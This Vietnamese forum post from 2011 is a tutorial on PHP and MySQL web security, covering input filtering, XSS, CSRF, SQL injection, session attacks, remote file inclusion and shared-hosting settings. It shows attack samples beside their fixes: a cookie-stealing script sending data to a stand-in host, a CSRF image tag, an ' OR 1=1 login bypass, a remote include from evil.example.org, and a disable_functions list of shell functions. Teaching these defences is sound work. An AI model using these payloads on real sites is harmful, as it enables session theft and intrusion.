Bảo mật web trong lập trình trong PHP MySQL

Tác giả admin+, T.Ba 18, 2011, 05:59:54 CHIỀU

« Chủ đề trước - Chủ đề tiếp »

0 Thành viên và 1 Khách đang xem chủ đề.

Bảo mật web trong lập trình trong PHP MySQL


1. Giới thiệu bảo mật

Trước khi khảo sát các kiểu tấn công và làm thế nào để phát hiện và bảo vệ trước mỗi cuộc tấn công? Nó là cần thiết để thiết lập các nguyên lý bảo mật cơ bản cho web. Các nguyên lý này không khó để có thể hiểu được nhưng nó yêu cầu có sự chú tâm(mindset) đến dữ liệu. Sự chứ tấm đến bảo mật nghĩa là bạn phải coi tất cả dữ liệu là hỏng(không hoàn toàn đúng yêu cầu) và dữ liệu đó phải được lọc trước khi sử dụng hoặc đưa ra ngoài hoặc khi xoá bỏ dữ liệu khỏi dụng. Hiểu và làm theo nó là cơ sở và bản chất bảo mật cho ứng dụng của bạn.

1.1 Tất cả dữ liệu nhập là "không an toàn"

Có lẽ quan trọng nhất trong mọi giao dịch là sự tin cậy vào dữ liệu. Bạn chắc chắn tất cả dữ liệu sử lý của bạn là an toàn? trả lời câu hỏi đó rất dễ nếu bạn biết nguồn gốc dữ liệu. Nếu dữ liệu của bạn bắt đầu từ bên ngoài như từ form nhập dữ liệu, chuỗi truy vấn hay thậm chí từ RSS nó không phải là dữ liệu an toàn nó là dữ liệu "không an toàn". Dữ liệu từ nguồn này và các nguồn khác là "Chưa an toàn" bơỉ vì nó không chắc chắn, nội dung của nó chứa các kí tự nguy hiểm cho hệ thống. Ví dụ chuỗi truy vấn user có thể thay đổi bằng tay và thêm vào đó các thẻ javascipt kết quả có thể dẫn đến có hại cho hệ thống một quy tắc chung nhất của tất cả các biến mảng toàn cục(superglobals) lên cân nhắc kỹ khả năng "Chưa an toàn" . Đây là lý do cho tất cả hoặc một vài các mảng superglobals khi nhận dữ liệu từ bên ngoài. Thậm chí $_SERVER không phải luôn an toàn bởi một vài dữ liệu cung cấp từ client. Một trường hợp ngoại lệ với nguyên tắc này, cái chỉ được chạy trên server .

Trước khi sử lý dữ liệu "Chưa an toàn" trước khi sử dụng chúng thì phải lọc chúng, một dữ liệu được lọc sau đó nó an toàn với người sử dụng. Có hai cách tiếp cận lọc dữ liệu: whitelist và Blacklist.

1.2 Lọc Whitelist và Blacklist

Có 2 phương pháp tiếp cận phổ biến Whitelist và Blacklist. Phương pháp tiếp cận blacklist ít hạn chế hơn trong quá trình lọc dữ liệu và có thể hiểu rằng lập trình viên có thể biết mọi thứ và không cho phép dữ liệu này đi qua – Ví dụ một vài diễn đàn lọc các từ thô tục sử dụng blacklist. Đó là những từ không thích hợp với diễn đàn những từ này bị lọc ra khỏi bài viết cong những từ khác không có trong danh sách cho phép hiện ra. Tuy nhiên cần thêm vào danh sách các từ bị cấm trong khoảng thời gian. Ví dụ này không liên quan trực tiếp đến chủ đề trực tiếp để lập trình viên giảm thiểu sự tấn công nhưng nó nêu ra vấn đề tồn tại của cách sử dụng Blacklist là: blacklist phải sửa đổi cập nhật liên tục, phải mở rộng khi gặp kiểu tấn công mới.

Cách khác dùng whilelist có nhiều hạn chế hơn cho người dùng, chỉ cung cấp khả năng người dùng chấp nhận. Thay vì phải kiểm tra có chấp nhận được hay không whilelist chỉ cung cấp duy nhất dữ liệu chấp nhận được. Thông tin này đã sẵn sàng khi bạn phát triển ứng dụng, nó có thể phát triển trong tương lai. Nhưng bạn điều khiển các thông tin này bằng những tham số. Khi bạn điều khiển dữ liệu mà nó được chấp nhận thì các kẻ tấn công không thể chuyển cho bất kỳ khác ngoài whilelist cho phép. Vì lý do đó whilelist bảo vệ mạnh mẽ hơn Blacklist.

1.3 Lọc dữ liệu đầu vào (Filter Input)

Từ những dữ liệu không chắc an toàn bạn không thể tin tưởng được , nó là cần thiết để lọc dữ liệu nhập. Ví dụ sử dụng whilelist trong form sau:

Mã nguồn [Chọn]
<form method="POST">
Username: <input type="text" name="username" /><br />
Password: <input type="text" name="password" /><br />
Favourite colour:
<select name="colour">
<option>Red</option>
<option>Blue</option>
<option>Yellow</option>
<option>Green</option>
</select><br />

<input type="submit" />
</form>


Trên form có ba phần tử: username, password và color trong đó giới hạn tên chỉ lên là các chữ cái, còn mật khẩu yêu cầu có cả chữ cái và số và màu chỉ hiển thị enable Red và Blue. Chúng ta có thể dùng javascript để giới hạn hiển thị màu. Người dùng chi có thể gửi thông tin giới hạn trong form điều đó cực kỳ quan trọng trong bảo mật cho site.

Lọc dữ liệu nhập từ form, bắt đầu bằng khởi tạo một mảng trắng nó chứa các phần tử dữ liệu đã được lọc . Khi nào gặp biến này $clean['username'], bạn xác đinh rằng biến này đã được lọc. Tuy nhiên bạn có thể sử dụng $_POST['username'] tuy nhiên bạn không thể khẳng định rằng dữ liệu này có thể chấp nhận được. Loại bỏ các biến và sử dụng $clean thay thế .

Ví dụ:

Mã nguồn [Chọn]
$clean = array();
if (ctype_alpha($_POST['username'])) {
$clean['username'] = $_POST['username'];
}
if (ctype_alnum($_POST['password'])) {
$clean['password'] = $_POST['password'];
}
$colours = array('Red', 'Blue', 'Yellow', 'Green');
if (in_array($_POST['colour'], $colours)) {
$clean['colour'] = $_POST['colour'];
}


Việc sử dụng whilelist phải đảm bảo chắc chắc bạn không nhận được dữ liệu xấu. Ví dụ : một ai đó cố gắng nhập vào username và color không cho phép sử lý. Điều tồi tệ xẩy ra là $clean không chứa giá trị username và color, nếu user name được yêu cầu một mẩu tin báo lỗi sẽ hiện lên yêu cầu nhập dữ liệu đúng. bạn cần phải bắt buộc người dùng nhập vào thông đúng hơn là cố gắng lọc dữ liệu. nếu bạn cố lọc dữ liệu bạn cần có những kết luận về những dữ liệu xấu, nó gặp số vấn đề khi sử dụng với blacklist

1.4 Escape Output

Output là lấy dữ liệu của ứng dụng hiển thị trên client – Client yêu cầu load web từ một web Browser tới web server, web server thực thi bằng cách truy cập CSDL lấy dữ liệu. dữ liệu lấy ra và lọc, bạn cần chánh khỏi tất cả các dữ liệu làm vỡ dữ liệu. Việc lọc Escape Output để bảo vệ client và người dùng những lệnh có hại tiềm tàng, Escape Output hiểu nó như một phần của như bộ lọc dữ liệu, hai cái đều quan trọng như nhau, bộ lọc để chắc chắn rằng tính hợp lệ của dữ liệu nhập cho ứng dụng còn , tránh khỏi những nguy cơ tấn công có hại cho hệ thống. CSDL server khi làm việc gặp các kí tự đặc biệt. Từ trình duyệt các kí tự là các thẻ HTML đối với database Server là các kí tự đánh dấu quote và các câu lênh SQL làm thế nào khi ouput nó hiểu đúng.

Để sử lý escape output cho web browser PHP cung cấp hàm htmlspecialchars() và hàm htmlentities() được đề nghị để sử lý chức năng này. Ví dụ sau đây sẽ sử dụng htmlentities() để minh hoạ sử lý dữ liệu trước khi gửi đến browser

Ví dụ:

Mã nguồn [Chọn]
$html = array();
$html['message'] = htmlentities($user_message, ENT_QUOTES, 'UTF-8');
echo $html['message'];


Escape output dành cho database server như cấu trúc các lệnh truy vấn ta sử dụng các hàm *_escape_string() . Từ PHP 5.x bao gồm PHP Data Objects (PDO), bạn có thể sử dụng prepared statements cho tất cả các CSDL bằng trình điều khiển PDO.

Sử dụng chuẩn bị dữ liệu trong cấu trúc giúp bạn chỉ rõ nơi quan trọng trong câu lệnh SQL và có thể sử dụng nhiều lần trong một lần khai báo và thay thế giá trị trong mỗi thời gian.

Ví dụ đơn giản để kết nối tham số:

Mã nguồn [Chọn]
// First, filter the input

$clean = array();

if (ctype_alpha($_POST['username'])) {
$clean['username'] = $_POST['username'];
}
// Set a named placeholder in the SQL statement for username
$sql = 'SELECT * FROM users WHERE username = :username';

// Assume the database handler exists; prepare the statement
$stmt = $dbh->prepare($sql);

// Bind a value to the parameter

$stmt->bindParam(':username', $clean['username']);

// Execute and fetch results

$stmt->execute();

$results = $stmt->fetchAll();[


1.5 Đăng kí biến toàn cục(Register Globals)

Khi the register_globals được đặt là ON, tẩt cả các biến: chuỗi truy vấn, post Form, Session, cookies ... có thể sử dụng tên biến để truy cập thông tin.

Ví dụ:

Giả sử biến môi trường register_globals được đặt là ON biến $loggedin chưa được khởi tạo nên hàm checkLogin() cho giá trị là false dễ dàng có thể gán $loggedin=1 bằng cách truyền thêm vào chuỗi truy vấn. Cách đơn giản là gán $loggedin=false ở đầu đoạn mã:

Mã nguồn [Chọn]
if (checkLogin())
{
$loggedin = TRUE;
}
if ($loggedin) {
// do stuff only for logged in users
}


Chúng ta bị điều này này là do register_globals là ON vì vậy có thể gán giá trị cho $loggedin thông qua chuỗi truy vấn, form, cookies...tốt nhất khi làm việc với chúng chúng ta dung những siêu mảng do PHP cung cấp $_GET, $_POST, or $_COOKIE.

Chú ý: trước PHP 4.2.0 thì register_globals mặc định là ON nhưng từ phiên bản sau nó thì mặc định là off và tương lại PHP 6.0 cũng vậy

Bảo mật trong lập trình PHP

I. Bảo mật website

Bảo mật website là phải chú ý đến từng phần tử của trang web mà kẻ tấn công có thể lợi dụng thông qua giao diện của ứng dụng. Điểm yếu hay bị lợi dụng nhất đó là bao gồm form và các URL, nên việc bảo mật web có nghĩa là kiểm tra tính hơpk lệ của form và link.

1. Form lừa đảo

Phổ biến kẻ tấn công sử dụng là sử dụng form giả để truyền dữ liệu, kẻ tấn công dễ dàng thay đổi những hạn chế giới hạn phía client, khi form được submit tất cả dữ liệu sẽ truyền đến ứng dụng của bạn.

Ví dụ:

Mã nguồn [Chọn]
<form  method="POST"  action="process.php">
<p>Street:
<input  type="text"  name="street"  maxlength="100″  /></p>
<p>City:
<input  type="text"  name="city"  maxlength="50″  /></p>
<p>State:
<select  name="state">
<option  value="">Pick  a  state...</option>
<option  value="AL">Alabama</option>
<option  value="AK">Alaska</option>
<option  value="AR">Arizona</option>
<!–  options  continue  for  all  50  states  –>
</select></p>

<p>Zip:  <input  type="text"  name="zip"  maxlength="5″  /></p>
<p>
<input  type="submit"  /></p>
</form>


Form trên giới hạn độ dài tối đa cho phép nhập và có thể dùng javascript để giới hạn khi người dùng nhập vào và khi form được submit thì tất cả dữ liệu form sẽ chuyển đến trang process.php để sử lý.
người dùng có thể thể định nghĩa form ở nơi khác và URL của action chỉ đến file http://domian.com/process.php chúng ta xem

Ví dụ:

Mã nguồn [Chọn]
<form  method="POST"  action="http://example.org/process.php">
<p>Street:  <input  type="text"  name="street"  /></p> <p>City:  <input  type="text"  name="city"  /></p>
<p>State:  <input  type="text"  name="state"  /></p> <p>Zip:  <input  type="text"  name="zip"  /></p>

<p><input  type="submit"  /></p>
</form>


Khi ấy, nếu form được submit thì dữ liệu vẫn được đưa đên file process.php như ví dụ trên mà không gặp bất kỳ giới hạn nào trong form.

Chúng ta dễ dàng fix lỗi này bằng cách kiểm tra các yêu cầu sử lý từ đâu đến bằng giá trị $_SERVER['HTTP_REFERER'] xác nhận yêu cầu sử lý đúng trên site mình mới thực thi.

mặc dù có thể ngăn cản mọi dữ liệu xuất phát từ form của nơi khác nhưng nó không cần thiết phải từ chối tất cả dữ liệu từ nơi khác. Kiểm tra độ tin cậy các thông tin từ bên ngoài là cần thiết đảm bảo dữ liệu submit là phù hợp yêu cầu trong form and thậm chí dữ liệu từ form giả mạo không thể qua được bộ lọc.

2. Tấn công Cross-Site

Tấn công Cross-Site (XSS) là cách tấn công phổ biến và là cách tấn công dễ hiểu nhất. Tính đơn giản của kiểu tấn công và số lượng các ứng dụng dễ bị tổn thương bởi kiểu tấn công này nhiều đã lôi cuốn những kẻ có dã tâm. XSS khai thác sự tin tưởng người đùng và luôn cố gắng lấy trộm thông tin người dùng như : cookies and các thông tin cá nhân khác. Tất cả dữ liệu nhập vào ứng dụng.

Ta xét một ví dụ form sau. Form có thể tồn tại trên một số các web site cộng đồng và có thể cho phép user khác nhận xét(comment). Sau khi các lời nhận xét được gửi thì tất cả các lời nhận xét được hiển thị vì vậy mọi thứ của các lời nhận xét đều được hiển thị:

Ví dụ:

Mã nguồn [Chọn]
<form  method="POST"  action="process.php">
<p>Add  a  comment:</p>
<p><textarea  name="comment"></textarea></p>
<p><input  type="submit"  /></p>
</form>


Hình dung một số người có ác tâm gửi lời nhận xét với nội dung sau:

Mã nguồn [Chọn]
<script>
document.location = ''http://example.org/getcookies.php?cookies='' + document.cookie;
</script>


Bây giờ mọi người viếng thăm các thông tin đăng nhập được và cookies chuyển đến URL nó được truyền qua chuỗi struy vấn trên site.kẻ tấn công dễ dàng dùng $_GET['cookies'] để lưu chúng để sau sử dụng.

3. Tấn công bằng cách yêu cầu cross-site giả

A cross-site request forgery (CSRF) là kiểu tấn công làm cho không biết HTTP yêu cầu từ đâu, thường nó yêu cầu quyền truy cập và sử dụng session của nạn nhân để truy cập. Yêu cầu HTTP sẩy ra khi nạn nhân dùng tài khoản của mình để mua hàng thay đổi hoặc xoá thông tin ngưòi dùng.

Khi một XSS tấn công khai thác sự tin tưởng của ngưòi dùng vào ứng dụng, một yêu cầu được gải mạo ứng dụng được người sử dụng tin tường, một yêu cầu đuợc cho là hợp pháp được gửi đi thât khó có thể phát hiện ra có phải thực sự người sự dụng muốn thưc hiện yêu cầu đó. Trong khi đó yêu cầu được đưa ra ngoài ứng dụng bạn, thường sử dụng là các cuộc tấn công CSRF. Nó sẽ không ngăn ngừa ứng dụng nhận yêu cầu gải mạo. Vậy ứng dụng của bạn phải có khả năng phát hiện yêu cầu hợp lệ trong đó có chứa mã có hại hay không

Ví dụ:

Chúng ta có 1 web site cho mọi người có thể đăng kí một account và họ có quyền xem các mục sách để mua . có thể giả thuyết rằng một kẻ có dã tâm đăng kí một acount và quá trình sử lý mua sách là trong suốt với site. Cách thức này được phát hiện ra 1 cách tình cờ:
+ đăng nhập và mua hàng
+ Chọn 1 cuốn sách để mua rồi bấm vào nút "buy" nó sẽ chuyển đên trang checkout.php
+ Cô ấy nhìn thấy action check out là POST, nhưng các tham số checkout sẽ được bỏ vì chuỗi truy vấn(GET) làm việc
+ Khi đặt là checkout.php?isbn=0312863551&qty=1 thì thấy báo giao dịch thành công
Với điều mộ kẻ có dã tâm dễ dàng mua hàng trên 1 site mà không mất đồng nào. rễ dàng 1 người sử dụng có thể sử dụng chèn một thẻ ảnh (img) vào vùng không được phép. nội dung của thẻ img như sau: <img src="http://example.org/checkout.php?isbn=0312863551&qty=1″ />

Thậm chí image gắn ở site khác vẫn có thể tiếp tục tạo ra cái yêu cầu mua hàng trên site. Hầu hết mọi trường hợp yêu cầu thất bại bởi vì user phải đăng nhập mới mua được hàng. Sự tấn công nàylà sự tin tưởng của web site với người dùng. Giải pháp cho kiểu tấn công này thay thế POST bằng GET tấn công được là do checkout.php sử dụng $_REQUEST, mảng này sẽ truy cập và lấy isdn và qty. Chúng ta nên sử dụng POST để giảm thiểu rủi do về loại tấn công này. Nhưng nó không thể bảo vệ tất cả các yêu cầu đã được nguỵ tạo.

Một sự tấn công phức tạp có thể tạo yêu cầu POST rễ ràng bằng GET. Trừ khi có một phương pháp ngăn chặn phương pháp mã thông báo(token) này bắt buộc sử dụng form của bạn. Mã thông báo tạo ra bằng cách sinh ngẫu nhiên một mã thông báo và lưu nó trong session khi user truy cập trang chứa form sẽ đặt nó vào trong form dưói 1 trường ẩn. Sẽ sử lý kiểm tra mã thông báo POST từ form với giá trị lưu trong session. Nếu đúng thì nó là yêu cầu hợp lệ nếu sai thì không sử lý và thay vào đó là thông báo lỗi .

Ví dụ:

Mã nguồn [Chọn]
<?php
session_start
();
$token  =  md5(uniqid(rand(),  TRUE)); $_SESSION['token']  =  $token;
?>

<form  action="checkout.php"  method="POST">
<input  type="hidden"  name="token"  value="<?php  echo  $token;  ?>"  />
<!–  Remainder  of  form  –>
</form>


Xử lý khi form được submit:

Mã nguồn [Chọn]
if  (isset($_SESSION['token'])
&&  isset($_POST['token'])
&&  $_POST['token']  ==  $_SESSION['token'])
{
//  Token  is  valid,  continue  processing  form  data
}


II. Bảo mật Database

Khi chúng ta truy cập CSDL và chấp nhận dữ liệu đầu vào bằng cách tạo ra các câu lệnh truy vấn, nó dễ dàng bị các kẻ gian lợi dụng tấn công SQl injection. SQL injection xuất hiện khi các kẻ tấn công muốn làm các "thử nghiệm" trên form để lấy các thông tin về CSDL. Nó thu thập các thông tin từ các thông báo lỗi SQL . Kẻ tấn công đính vào form một trường injecting SQL, phổ biến nó thường đính vào form đăng nhập

Mã nguồn [Chọn]
form  method="login.php"  action="POST">
Username:  <input  type="text"  name="username"  /><br  />
Password:  <input  type="password"  name="password"  /><br  />
<input  type="submit"  value="Log  In"  />
</form>


Đoạn mã sử lý đăng nhập dễ bị lợi dụng:

Mã nguồn [Chọn]
$username  =  $_POST['username'];

$password  =  md5($_POST['password']);
$sql  =  "SELECT  *
FROM     users
WHERE   username  =  '{$username}'  AND    password  =  '{$password}'";
/*  database  connection  and  query  code  */
if  (count($results)  >  0) {
//  Successful  login  attempt
}


Khi kẻ tấn công nhập user là :
username' OR 1 = 1 -
và mật khẩu để trống thì cấu trúc câu lệnh SQl là:

SELECT *
FROM users
WHERE username = 'username' OR 1 = 1 –' AND
password = 'd41d8cd98f00b204e9800998ecf8427e'

Điều kiện 1=1 thì luôn đúng câu lệnh SQL bỏ qua tất cả những gì sau '–' vì vậy câu lệnh SQl trên sẽ trả lại tất cả các bản ghi. Bằng cách này hacker dễ dàng đăng nhập vào hệ thống với tài khoản bất kỳ khi đã biết tên tài khoản

Chúng ta tránh được lỗi này bằng cách lọc các kí tự escaping. Bằng cách lọc dữ liệu đầu vào và lọc escaping khi xuất ra chúng ta sẽ tránh được lỗi SQL injection chúng ta lọc escaping bằng nhóm hàm *_escape_string()

III. Bảo mật Session

Có hai kiểu tấn công session phổ biến nhất đó là session cố định(session fixation) và cướp session ( session hijacking)
Khi một người triệu gọi trang web lần đầu tiên ứng dụng sẽ gọi session_start() để tạo ra sesion cho user. PHP sẽ tự động sinh ngẫu nhiên một định danh khác nhau cho mỗi user. Và sau đó nó send tạo một trên cookies với tên mặc định là PHPSESSID bạn có thể thay đổi tên mặc định của nó bằng cách thay đổi nó trong php.ini hoặc dùng hàm session_name() . Từ lần viếng thăm sau nó sẽ định danh user bằng cookies. Tuy nhiên có thể gán session qua chuỗi truy vấn. Đây là cách dễ ràng để tấn công session fixation bởi vì kẻ tấn công có thể thay đổi giá trị PHPSESSID. Cách phổ biến là lưu trữ link trong ứng dụng của bạn nối thêm session id và sau dụ ngưòi dùng kích vào
<a href="http://example.org/index.php?PHPSESSID=1234″>Click here</a>

Trong khi truy cấp thường hay lưu thông tin đăng nhập trong session. Nếu user đăng nhập vào với cùng session id thì kẻ tấn công cũng có thể truy cập với session id đó vì vậy có thể truy cập vào thay đổi các thông tin account . Quan trọng hơn là nó sẽ tiến tới chiếm quyền điều khiển của những acount quản trị. Chúng ta có thể xuất tất cả các session id của tất cả các user bằng hàm session_regenerate_id()

session_start();
//  If  the  user  login  is  successful,  regenerate  the  session  ID if  (authenticate())
{
session_regenerate_id();
}

Cách làm trên chỉ bảo vệ user bởi cách tấn công session fixed và dễ dàng đề nghị truy cập của các kẻ tấn công . Nó không giúp chống lại được các kiểu tấn công phổ biến khác như kiểu session hijacking. Đúng hơn là cái này là một cái chung mà thời hạn mô tả bởi bất kì cái gì đó có nghĩa bởi các kẻ tấn công kiếm được những session id của user hữu ích.

Ví dụ, một user tin rằng khi đăng nhập thì session id được định nghĩa lại và có một session mới. cái gì sẽ sẩy ra nếu các kẻ tấn công mà phát hiện ID mới và cố gắng truy cập vào session của user ?
Session ID để định danh các yêu cầu khác nhau của các user khác nhau. một yêu cầu đầư được trợ giúp đặc biệt và không thay đổi giữa các yêu cầu đầu khác nhau. nếu không chắc chắn(chiếm truờng hợp ít) user từ một trình duyệt có thể chuyển nó thành cái khác trong khi đang sử dụng cùng phiên làm việc. các yêu cầu đầu để xác định rõ kiểu tấn công session hijacking.
Sau khi user đăng nhập lưu tác nhân user (User-Agent ) vào session:

$_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];

Và sau đó khi trang được load lần hai kiểm tra chắc chắn rằng User-Agent không được thay đổi. Nếu nó bị thay đổi lên cho đăng nhập lại

if  ($_SESSION['user_agent']  !=  $_SERVER['HTTP_USER_AGENT'])
{

//  Force  user  to  log  in  again exit;

}

IV. Bảo mật Filesystem

PHP có khả năng truy cập trực tiếp hệ thống files và có thể thực hiện các lệnh shell, nó cung cấp cho các nhà phát triển sức mạnh lớn, nó thực sự nguy hiểm khi làm hỏng dữ liệu đầu cuối bằng các comand line. Một lần nữa dữ liệu lại phải lọc.

1. Thực thi mã lệnh từ xa(remote Code Injection )

Khi khai báo chèn vào file bằng include hoặc requre chú ý cẩn thận khi sử dụng dữ liệu "hỏng" để tạo một sự khai báo bao hàm(include) động trên dữ liệu nhập từ client, bởi vì một lỗi có thể dễ dàng cho phép hacker có thể thực hiện các cuộc tấn công từ xa. Một cuộc tấn công từ xa xẩy ra khi một kẻ tấn công có thể thực hiện đoạn mã mà họ đã chọn trên ứng dụng của chúng ta. Điều đó giúp cho kẻ tấn công có thể tàn phá cả ứng dụng lẫn hệ thống.

Ví dụ, rất nhiều ứng dụng cho phép tạo và sử dụng chuỗi truy vấn vào cấu trúc những mục của ứng dụng ví dụ : http://example.org/?section=news . Một ứng dụng có thể cấu trúc inclue đề chèn mã news vào ứng dụng:
clude "{$_GET['section']}/data.inc.php";
khi sử dụng URL truy cập vào những mục news/data.inc.php . Tuy nhiên phải cân nhắc kỹ chuyện gì xẩy ra nếu các kẻ tấn công thay đổi chuỗi truy vấn có hại cho site:

http://example.org/?section=http%3A%2F%2Fevil.example.org%2Fattack.inc%3F

dữ liệu nguy hiểm sẽ đuợc include vào hệ thống kết quả của cách làm trên là
include "http://evil.example.org/attack.inc?/data.inc.php";
attack.inc được inclue vào hệ thống và thực thi mã trong đó, các kẻ tấn công có thể làm bất kỳ điều gì mà họ muốn chỉ cẩn để nó trong attack.inc . when đó kẻ tấn công có thể chiếm tất cả quyền mà họ muốn.

Ví dụ:

Mã nguồn [Chọn]
$clean  =  array();
$sections  =  array('home',  'news',  'photos',  'blog');
if  (in_array($_GET['section'],  $sections))
{
$clean['section']  =  $_GET['section']
}else {
$clean['section']  =  'home'
}

include "{clean['section']}/data.inc.php";


2. Các lệnh injecttion

Một site cho phép include dữ liệu động vào file rất nguy hiểm, nó cho phép user thực thi các lệnh trên hệ thống. PHP cung cấp các các hàm như exec(), system() và passthru() giúp chúng ta có thể thực thi những lệnh trên hệ thống. Việc lọc whilelist giảm thiệu các câu lệnh có hại cho hệ thống.
Php cung cấp hàm escapeshellcmd() and escapeshellarg() Đê lịa bỏ những cấu lệnh escape shell cho hệ thống

V. Shared Hosting

Có rất nhiều vấn đề nẩy sinh khi sử dụng host dùng chung, trước đây PHP giải quyết vấn đề này bằng chỉ thị safe_mode .
Tuy nhiên nó sai khi cố gắng dùng nó để phân cấp tại mức PHP. Safe_mode không sẵn sàng ở PHP 6. Có 3 chỉ thị quan trong trong việc chia sẻ hosting: open_basedir disable_functions và disable_classes. Ba chỉ thị này không phụ thuộc vào safe_mode và chúng thể sẵn sàng trong tương lai

Open_basedir là chỉ thị giới hạn truy cập đến truy cập file trên cấu trúc cây thư mục. khi PHP cố gắng mở một file bằng open() hoặc include nếu tồn tại thì nó sẽ được chỉ rõ cây thư mục bằng open_basedir nếu không thì nó sẽ không mở file.
Có thể khai báo trong php.ini hàm open_basedir cho từng cho từng host ảo. PHP chỉ cho phép mở file ở địa chỉ /home/user/www and /usr/local/lib/php (cái này được mặc định trong thư viện PEAR):

Mã nguồn [Chọn]
<VirtualHost  *>

DocumentRoot  /home/user/www ServerName     www.example.org

<Directory  /home/user/www>

php_admin_value  open_basedir  "/home/user/www/:/usr/local/lib/php/" </Directory>

</VirtualHost>


Chỉ thị disable_functions và disable_classes tương tự nhau nó cho phép disable một hàm hoặc 1 lớp nào đó bất kỳ hàm nào và lớp nào trong danh sách này đều không có chức năng cho hệ thống.
bạn có thể thay đổi thông số trong php.ini như sau:

Mã nguồn [Chọn]
; Disable functions

disable_functions = exec,passthru,shell_exec,system

; Disable classes

disable_classes = DirectoryIterator,Directory